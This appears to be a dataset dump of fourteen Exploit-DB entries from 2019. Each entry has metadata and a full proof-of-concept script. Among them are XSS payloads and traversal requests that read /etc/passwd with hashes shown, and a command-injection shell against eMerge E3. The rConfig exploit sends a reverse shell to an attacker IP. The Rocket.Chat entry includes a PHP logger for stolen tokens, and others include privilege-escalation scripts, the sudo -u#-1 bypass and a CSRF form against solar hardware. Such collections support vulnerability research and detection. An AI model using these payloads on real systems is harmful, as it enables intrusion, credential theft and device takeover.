QLWD/code_shield huggingface dataset:
标题: Adrenalin Core HCM 5.4.0 - 'prntDDLCntrlName' Reflected Cross-Site Scripting EDB-ID: 47613 CVE: 2018-12650 类型: WEBAPPS 平台: ASPX 发布日期: 2019-11-12 漏洞利用脚本: # Exploit Title: Adrenalin Core HCM 5.4.0 - 'prntDDLCntrlName' Reflected Cross-Site Scripting
# Google Dork: NA
# Date: 2018-09-06
# Exploit Author: Rishu Ranjan (Cy83rl0gger)
# Vendor Homepage: https://www.myadrenalin.com/
# Software Link: https://www.myadrenalin.com/core-hcm/
# Version: 5.4.0 (REQUIRED)
# Tested on: NA
# CVE : CVE-2018-12650
# Type: webapps
# Platform: Multiple

# Description
# ====================
# A Reflected Cross Site Scripting (XSS) Vulnerability was discovered in Adrenalin Core HCM v5.4.0 HRMS Software. 
# The user supplied input containing malicious JavaScript is echoed back as it is in JavaScript code in an HTML response.

URL
====================
https://<Host:port>/myadrenalin/AppMaint/ApplicationtEmployeeSearch.aspx?popToken=emp&prntFrmName=AppAccFrm76096%22%3balert(1)%2f%2f150&prntDDLCntrlName=hdnEmpSearch&HRShow=0&CntrlType=txt&Applicationid=&Grade=undefined

https://<Host:port>/Adrenalin/AppMaint/ApplicationtEmployeeSearch.aspx?popToken=emp&prntFrmName=AppAccFrm76096%22%3balert(1)%2f%2f150&prntDDLCntrlName=hdnEmpSearch&HRShow=0&CntrlType=txt&Applicationid=&Grade=undefined

Parameter
====================
prntDDLCntrlName
prntFrmName

Attack Type
====================
Remote

CVE Impact Other
====================
Allows an attacker to input malicious JavaScript which can steal cookie, redirect them to other malicious website, etc.

Reference
====================
https://nvd.nist.gov/vuln/detail/CVE-2018-12650
https://www.knowcybersec.com/2018/10/CVE-2018-12650-reflected-XSS.html

Discoverer
====================
Rishu Ranjan URL: https://www.exploit-db.com/exploits/47613
标题: eMerge E3 1.00-06 - Unauthenticated Directory Traversal EDB-ID: 47616 CVE: 2019-7254 类型: WEBAPPS 平台: HARDWARE 发布日期: 2019-11-12 漏洞利用脚本: # Exploit Title: eMerge E3 1.00-06 - Unauthenticated Directory Traversal
# Google Dork: NA
# Date: 2018-09-11
# Exploit Author: LiquidWorm
# Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/
# Software Link: http://linear-solutions.com/nsc_family/e3-series/
# Version: 1.00-06
# Tested on: NA
# CVE : CVE-2019-7254
# Advisory: https://applied-risk.com/resources/ar-2019-009
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
# Advisory: https://applied-risk.com/resources/ar-2019-005

# PoC

GET /?c=../../../../../../etc/passwd%00
Host: 192.168.1.2

root:$1$VVtYRWvv$gyIQsOnvSv53KQwzEfZpJ0:0:100:root:/root:/bin/sh
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/home/default:
e3user:$1$vR6H2PUd$52r03jiYrM6m5Bff03yT0/:1000:1000:Linux User,,,:/home/e3user:/bin/sh
lighttpd:$1$vqbixaUx$id5O6Pnoi5/fXQzE484CP1:1001:1000:Linux User,,,:/home/lighttpd:/bin/sh


curl -s http://192.168.1.3/badging/badge_print_v0.php?tpl=../../../../../etc/passwd
curl -s http://192.168.1.2/badging/badge_template_print.php?tpl=../../../../../etc/version
curl -s http://192.168.1.2/badging/badge_template_v0.php?layout=../../../../../../../etc/issue
curl -s http://192.168.1.2/?c=../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/47616
标题: eMerge E3 1.00-06 - Privilege Escalation EDB-ID: 47618 CVE: 2019-7254 类型: WEBAPPS 平台: HARDWARE 发布日期: 2019-11-12 漏洞利用脚本: # Exploit Title: eMerge E3 1.00-06 - Privilege Escalation
# Google Dork: NA
# Date: 2018-09-11
# Exploit Author: LiquidWorm
# Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/
# Software Link: http://linear-solutions.com/nsc_family/e3-series/
# Version: 1.00-06
# Tested on: NA
# CVE : CVE-2019-7254, CVE-2019-7259
# Advisory: https://applied-risk.com/resources/ar-2019-009
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
# Advisory: https://applied-risk.com/resources/ar-2019-005

# PoC
# Escalate:

curl "http://192.168.1.2/?c=webuser&m=update" -X POST –-data "No=3&ID=test&Password=test&Name=test&UserRole=1&Language=en&DefaultPage=sitemap&DefaultFloorNo=1&DefaultFloorState=1&AutoDisconnectTime=24" -H "Cookie: PHPSESSID=d3dda96fc70846b2a7895ffa5ee9aa54; last_floor=1


Disclose:
curl "http://192.168.1.2/?c=webuser&m=select&p=&f=&w=&v=1" -H "Cookie: PHPSESSID=d3dda96fc70846b2a7895ffa5ee9aa54; last_floor=1 URL: https://www.exploit-db.com/exploits/47618
标题: eMerge E3 1.00-06 - Remote Code Execution EDB-ID: 47619 CVE: 2019-7256 类型: WEBAPPS 平台: HARDWARE 发布日期: 2019-11-12 漏洞利用脚本: # Exploit Title: eMerge E3 1.00-06 - Remote Code Execution
# Google Dork: NA
# Date: 2018-09-11
# Exploit Author: LiquidWorm
# Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/
# Software Link: http://linear-solutions.com/nsc_family/e3-series/
# Version: 1.00-06
# Tested on: NA
# CVE : CVE-2019-7256
# Advisory: https://applied-risk.com/resources/ar-2019-009
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
# Advisory: https://applied-risk.com/resources/ar-2019-005

#!/usr/bin/env python
#
###################################################################
# lqwrm@metalgear:~/stuff$ python emergeroot1.py 192.168.1.2
#
# lighttpd@192.168.1.2:/spider/web/webroot$ id
# uid=1003(lighttpd) gid=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot$ echo davestyle |su -c id
# Password: 
# uid=0(root) gid=0(root) groups=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot$ exit
#
# [+] Erasing read stage file and exiting...
# [+] Done. Ba-bye!
#
###################################################################

import requests
import sys,os##

piton = os.path.basename(sys.argv[0])

if len(sys.argv) < 2:
 print '\n\x20\x20[*] Usage: '+piton+' <ipaddress:port>\n'
 sys.exit()

ipaddr = sys.argv[1]

print
while True:
 try:
  cmd = raw_input('lighttpd@'+ipaddr+':/spider/web/webroot$ ')
  execute = requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60'+cmd+' > test.txt%60')
  readreq = requests.get('http://'+ipaddr+'/test.txt')
  print readreq.text
  if cmd.strip() == 'exit':
   print "[+] Erasing read stage file and exiting..."
   requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60rm test.txt%60')
   print "[+] Done. Ba-bye!\n"
   break
  else: continue
 except Exception:
  break

sys.exit() URL: https://www.exploit-db.com/exploits/47619
标题: Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting EDB-ID: 47598 CVE: 2019-10475 类型: WEBAPPS 平台: JAVA 发布日期: 2019-11-08 漏洞利用脚本: # Exploit Title: Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting
# Date: 2019-11-06
# Exploit Author: vesche (Austin Jackson)
# Vendor Homepage: https://plugins.jenkins.io/build-metrics
# Version: Jenkins build-metrics plugin 1.3 and below
# Tested on: Debian 10 (Buster), Jenkins 2.203 (latest 2019-11-05), and build-metrics 1.3
# CVE: CVE-2019-10475
# Write-up: https://github.com/vesche/CVE-2019-10475

#!/usr/bin/env python

import sys
import argparse

VULN_URL = '''{base_url}/plugin/build-metrics/getBuildStats?label={inject}&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search'''


def get_parser():
    parser = argparse.ArgumentParser(description='CVE-2019-10475')
    parser.add_argument('-p', '--port', help='port', default=80, type=int)
    parser.add_argument('-d', '--domain', help='domain', default='localhost', type=str)
    parser.add_argument('-i', '--inject', help='inject', default='<script>alert("CVE-2019-10475")</script>', type=str)
    return parser


def main():
    parser = get_parser()
    args = vars(parser.parse_args())
    port = args['port']
    domain = args['domain']
    inject = args['inject']
    if port == 80:
        base_url = f'http://{domain}'
    elif port == 443:
        base_url = f'https://{domain}'
    else:
        base_url = f'http://{domain}:{port}'
    build_url = VULN_URL.format(base_url=base_url, inject=inject)
    print(build_url)
    return 0


if __name__ == '__main__':
    sys.exit(main()) URL: https://www.exploit-db.com/exploits/47598
标题: Adive Framework 2.0.7 - Privilege Escalation EDB-ID: 47600 CVE: 2019-14347 类型: WEBAPPS 平台: PHP 发布日期: 2019-11-08 漏洞利用脚本: # Exploit Title: Adive Framework 2.0.7 - Privilege Escalation
# Date: 2019-08-02
# Exploit Author: Pablo Santiago
# Vendor Homepage: https://www.adive.es/
# Software Link: https://github.com/ferdinandmartin/adive-php7
# Version: 2.0.7
# Tested on: Windows 10
# CVE : CVE-2019-14347

#Exploit

import requests
import sys

session = requests.Session()

http_proxy  = "http://127.0.0.1:8080"
https_proxy = "https://127.0.0.1:8080"

proxyDict = {
             "http"  : http_proxy,
             "https" : https_proxy
           }
print('[*****************************************]')
print('[ BYPASSING Adive Framework Version.2.0.5 ]')
print('[*****************************************]''\n')



print('[+]Login with the correct credentials:' '\n')

user = input('[+]user:')
password = input('[+]password:')
print('\n')

url = 'http://localhost/adive/admin/login'
values = {'user': user,
          'password': password,
          }

r = session.post(url, data=values, proxies=proxyDict)
cookie = session.cookies.get_dict()['PHPSESSID']

print('Your session cookie is:'+ cookie +'\n')


host = sys.argv[1]
print('Create the new user:')
userName = input('[+]User:')
userUsername = input('[+]UserName:')
password = input('[+]Password:')
password2 = input('[+]Confirm Password:')
print('The possibles permission are: 1: Administrator, 2: Developer, 3:Editor')
permission = input('[+]permission:')

if (password == password2):
#configure proxy burp

#hacer el request para la creacion de usuario
data = {
'userName':userName,
'userUsername':userUsername,
'pass':password,
'cpass':password2,
'permission':permission,

}

headers= {
'Cookie': 'PHPSESSID='+cookie
}

request = session.post(host+'/adive/admin/user/add', data=data,
headers=headers, proxies=proxyDict)
print('+--------------------------------------------------+')

else:
print ('Passwords dont match!!!')

#PoC
https://imgur.com/dUgLYi6
https://hackpuntes.com/wp-content/uploads/2019/08/ex.gif URL: https://www.exploit-db.com/exploits/47600
标题: rConfig 3.9.2 - Remote Code Execution EDB-ID: 47555 CVE: 2019-16662 类型: WEBAPPS 平台: PHP 发布日期: 2019-10-29 漏洞利用脚本: # Exploit Title: rConfig 3.9.2 - Remote Code Execution
# Date: 2019-09-18
# Exploit Author: Askar
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22
# CVE : CVE-2019-16662

#!/usr/bin/python

import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 4:
    print "[+] Usage : ./exploit.py target ip port"
    exit()

target = sys.argv[1]

ip = sys.argv[2]

port = sys.argv[3]

payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))

install_path = target + "/install"

req = requests.get(install_path, verify=False)
if req.status_code == 404:
    print "[-] Installation directory not found!"
    print "[-] Exploitation failed !"
    exit()
elif req.status_code == 200:
    print "[+] Installation directory found!"
url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload

print "[+] Triggering the payload"
print "[+] Check your listener !"

requests.get(url_to_send, verify=False)


rConfig-preauth.png URL: https://www.exploit-db.com/exploits/47555
标题: ClonOs WEB UI 19.09 - Improper Access Control EDB-ID: 47544 CVE: 2019-18418 类型: WEBAPPS 平台: PHP 发布日期: 2019-10-25 漏洞利用脚本: # Exploit Title: ClonOs WEB UI 19.09 - Improper Access Control
# Date: 2019-10-19
# Exploit Author: İbrahim Hakan Şeker
# Vendor Homepage: https://clonos.tekroutine.com/
# Software Link: https://github.com/clonos/control-pane
# Version: 19.09
# Tested on: ClonOs
# CVE : 2019-18418


import requests
from bs4 import BeautifulSoup
import sys

def getUser(host):
    reg=r'\"'
    r1 = requests.post(host+"/json.php",data={"mode":"getJsonPage","path":"/users/","hash":"","db_path":""},headers={"X-Requested-With":"XMLHttpRequest"})
    r1_source = BeautifulSoup(r1.content,"lxml")
    for k in r1_source.findAll("tr"):
        for i in k.findAll("td")[0]:
            print(f"[+]User Found: {i}  User id: {k.get('id').replace(reg,'')}")
def changePassword(host,user,password,id):
    data={
        "mode":"usersEdit",
        "path":"/users/",
        "hash":"",
        "db_path":"",
        "form_data[username]":f"{user}",
        "form_data[password]":f"{password}",
        "form_data[password1]":f"{password}",
        "form_data[first_name]":"",
        "form_data[last_name]":"",
        "form_data[actuser]":"on",
        "form_data[user_id]": int(id)
        }
    r2=requests.post(host,data=data,headers={"X-Requested-With":"XMLHttpRequest"})
    if r2.status_code==200:print("[+]OK")
    else:print("[-]Fail")
if __name__=="__main__":
    if len(sys.argv)>1:
        if "getUser" in sys.argv[1]:getUser(sys.argv[2])
        elif "changePassword" in sys.argv[1]:changePassword(sys.argv[2],sys.argv[3],sys.argv[4],sys.argv[5])
        else:print("Fail parameter")
    else:print("Usage: exploit.py getUser [http://ip_adres]\nexploit.py changePassword [http://ip_adres] [username] [new_password] [user_id]") URL: https://www.exploit-db.com/exploits/47544
标题: Rocket.Chat 2.1.0 - Cross-Site Scripting EDB-ID: 47537 CVE: 2019-17220 类型: WEBAPPS 平台: LINUX 发布日期: 2019-10-23 漏洞利用脚本: # Title: Rocket.Chat 2.1.0 - Cross-Site Scripting
# Author: 3H34N
# Date: 2019-10-22
# Product: Rocket.Chat
# Vendor: https://rocket.chat/
# Vulnerable Version(s): Rocket.Chat < 2.1.0
# CVE: CVE-2019-17220
# Special Thanks : Ali razmjoo, Mohammad Reza Espargham (@rezesp)

# PoC
# 1. Create l33t.php on a web server

<?php
$output = fopen("logs.txt", "a+") or die("WTF? o.O");
$leet = $_GET['leet']."\n\n";
fwrite($output, $leet);
fclose($output);
?>

# 2. Open a chat session
# 3. Send payload with your web server url

![title](http://10.10.1.5/l33t.php?leet=+`{}token`)

# 4. Token will be written in logs.txt when target seen your message. URL: https://www.exploit-db.com/exploits/47537
标题: ThinVNC 1.0b1 - Authentication Bypass EDB-ID: 47519 CVE: 2019-17662 类型: REMOTE 平台: WINDOWS 发布日期: 2019-10-17 漏洞利用脚本: # Exploit Title: ThinVNC 1.0b1 - Authentication Bypass
# Date: 2019-10-17
# Exploit Author: Nikhith Tumamlapalli
# Contributor WarMarX
# Vendor Homepage: https://sourceforge.net/projects/thinvnc/
# Software Link: https://sourceforge.net/projects/thinvnc/files/ThinVNC_1.0b1/ThinVNC_1.0b1.zip/download
# Version: 1.0b1
# Tested on: Windows All Platforms
# CVE : CVE-2019-17662

# Description:
# Authentication Bypass via Arbitrary File Read

#!/usr/bin/python3

import sys
import os
import requests

def exploit(host,port):
    url = "http://" + host +":"+port+"/xyz/../../ThinVnc.ini"
    r = requests.get(url)
    body = r.text
    print(body.splitlines()[2])
    print(body.splitlines()[3])



def main():
    if(len(sys.argv)!=3):
        print("Usage:\n{} <host> <port>\n".format(sys.argv[0]))
        print("Example:\n{} 192.168.0.10 5888")
    else:
        port = sys.argv[2]
        host = sys.argv[1]
        exploit(host,port)

if __name__ == '__main__':
    main() URL: https://www.exploit-db.com/exploits/47519
标题: X.Org X Server 1.20.4 - Local Stack Overflow EDB-ID: 47507 CVE: 2019-17624 类型: LOCAL 平台: LINUX 发布日期: 2019-10-16 漏洞利用脚本: # Exploit Title: X.Org X Server 1.20.4 - Local Stack Overflow
# Date: 2019-10-16
# Exploit Author: Marcelo Vázquez (aka s4vitar)
# Vendor Homepage: https://www.x.org/
# Version: <= 1.20.4
# Tested on: Linux
# CVE: CVE-2019-17624

#!/usr/bin/python
#coding: utf-8

# ************************************************************************
# *                Author: Marcelo Vázquez (aka s4vitar)                 *
# *      X.Org X Server 1.20.4 / X Protocol Version 11 (Stack Overflow)  *
# ************************************************************************

import sys, time
import ctypes as ct

from ctypes import cast
from ctypes.util import find_library

def access_violation(x11, current_display):
 keyboard = (ct.c_char * 1000)()
 x11.XQueryKeymap(current_display, keyboard)

if __name__ == '__main__':

 print "\n[*] Loading x11...\n"
 time.sleep(2)

 x11 = ct.cdll.LoadLibrary(find_library("X11"))
 current_display = x11.XOpenDisplay(None)

 print "[*] Exploiting...\n"
 time.sleep(1)

 try:
  access_violation(x11, current_display)

 except:
  print "\nError...\n"
  sys.exit(1) URL: https://www.exploit-db.com/exploits/47507
标题: sudo 1.8.27 - Security Bypass EDB-ID: 47502 CVE: 2019-14287 类型: LOCAL 平台: LINUX 发布日期: 2019-10-15 漏洞利用脚本: # Exploit Title : sudo 1.8.27 - Security Bypass
# Date : 2019-10-15
# Original Author: Joe Vennix
# Exploit Author : Mohin Paramasivam (Shad0wQu35t)
# Version : Sudo <1.8.28
# Tested on Linux
# Credit : Joe Vennix from Apple Information Security found and analyzed the bug
# Fix : The bug is fixed in sudo 1.8.28
# CVE : 2019-14287

'''Check for the user sudo permissions

sudo -l 

User hacker may run the following commands on kali:
    (ALL, !root) /bin/bash


So user hacker can't run /bin/bash as root (!root)


User hacker sudo privilege in /etc/sudoers

# User privilege specification
root    ALL=(ALL:ALL) ALL

hacker ALL=(ALL,!root) /bin/bash


With ALL specified, user hacker can run the binary /bin/bash as any user

EXPLOIT: 

sudo -u#-1 /bin/bash

Example : 

hacker@kali:~$ sudo -u#-1 /bin/bash
root@kali:/home/hacker# id
uid=0(root) gid=1000(hacker) groups=1000(hacker)
root@kali:/home/hacker#

Description :
Sudo doesn't check for the existence of the specified user id and executes the with arbitrary user id with the sudo priv
-u#-1 returns as 0 which is root's id

and /bin/bash is executed with root permission
Proof of Concept Code :

How to use :
python3 sudo_exploit.py

'''


#!/usr/bin/python3

import os

#Get current username

username = input("Enter current username :")


#check which binary the user can run with sudo

os.system("sudo -l > priv")


os.system("cat priv | grep 'ALL' | cut -d ')' -f 2 > binary")

binary_file = open("binary")

binary= binary_file.read()

#execute sudo exploit

print("Lets hope it works")

os.system("sudo -u#-1 "+ binary) URL: https://www.exploit-db.com/exploits/47502
标题: Uplay 92.0.0.6280 - Local Privilege Escalation EDB-ID: 47493 CVE: 2019-14737 类型: LOCAL 平台: WINDOWS 发布日期: 2019-10-14 漏洞利用脚本: # Exploit Title: Uplay 92.0.0.6280 - Local Privilege Escalation
# Date: 2019-08-07
# Exploit Author: Kusol Watchara-Apanukorn, Pongtorn Angsuchotmetee, Manich Koomsusi
# Vendor Homepage: https://uplay.ubisoft.com/
# Version: 92.0.0.6280
# Tested on: Windows 10 x64
# CVE : N/A

# Vulnerability Description: "C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher" has in secure permission 
# that allows all BUILTIN-USER has full permission. An attacker replace the 
# vulnerability execute file with malicious file.

///////////////////////
   Proof of Concept
///////////////////////

C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher>icacls "C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher"
C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher BUILTIN\Users:(F)
                                                     BUILTIN\Users:(OI)(CI)(IO)(F)
                                                     NT SERVICE\TrustedInstaller:(I)(F)
                                                     NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                                     NT AUTHORITY\SYSTEM:(I)(F)
                                                     NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                                                     BUILTIN\Administrators:(I)(F)
                                                     BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                                     BUILTIN\Users:(I)(RX)
                                                     BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                                                     CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                                                     APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                     APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
                                                     APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
                                                     APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)




Vulnerability Disclosure Timeline:
==================================
07 Aug, 19 : Found Vulnerability
07 Aug, 19 : Vendor Notification
14 Aug, 19 : Vendor Response
18 Sep, 19 : Vendor Fixed
18 Sep, 19  : Vendor released new patched URL: https://www.exploit-db.com/exploits/47493
标题: SMA Solar Technology AG Sunny WebBox device - 1.6 - Cross-Site Request Forgery EDB-ID: 47480 CVE: 2019-13529 类型: WEBAPPS 平台: HARDWARE 发布日期: 2019-10-10 漏洞利用脚本: # Exploit Title: SMA Solar Technology AG Sunny WebBox device - 1.6 - Cross-Site Request Forgery
# Date: 2019-10-08
# Exploit Author: Borja Merino and Eduardo Villaverde
# Vendor Homepage: https://www.sma.de
# Version: Firmware Version 1.6 and prior
# Tested on: Sunny WebBox SMA Solar Device (Firmware Version 1.6)
# CVE : CVE-2019-13529
# ICS-Cert Advisory: https://www.us-cert.gov/ics/advisories/icsa-19-281-01

<!-- Change any hidden value -->

<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://X.X.X.X/wb_network_changed.htm' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='RadioButtonDhcp' value='off'>
  <input type='hidden' name='IpAddr' value='1.1.1.1'>
  <input type='hidden' name='SubnetMask' value='255.255.255.0'>
  <input type='hidden' name='Gateway' value='1.1.1.1'> 
  <input type='hidden' name='DnsIpAddr' value='5.5.5.1'>
  <input type='hidden' name='Dns2IpAddr' value='5.5.5.2'>
  <input type='hidden' name='StaticNatPortHttp' value='80'>
  <input type='hidden' name='WebserverPort' value='80'>
  <input type='hidden' name='WebservicePort' value='80'>
  <input type='hidden' name='RadioButtonModbus' value='off'>
  <input type='hidden' name='ModbusPort' value='502'>
  <input type='hidden' name='BConfirm' value='Confirmar'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script> URL: https://www.exploit-db.com/exploits/47480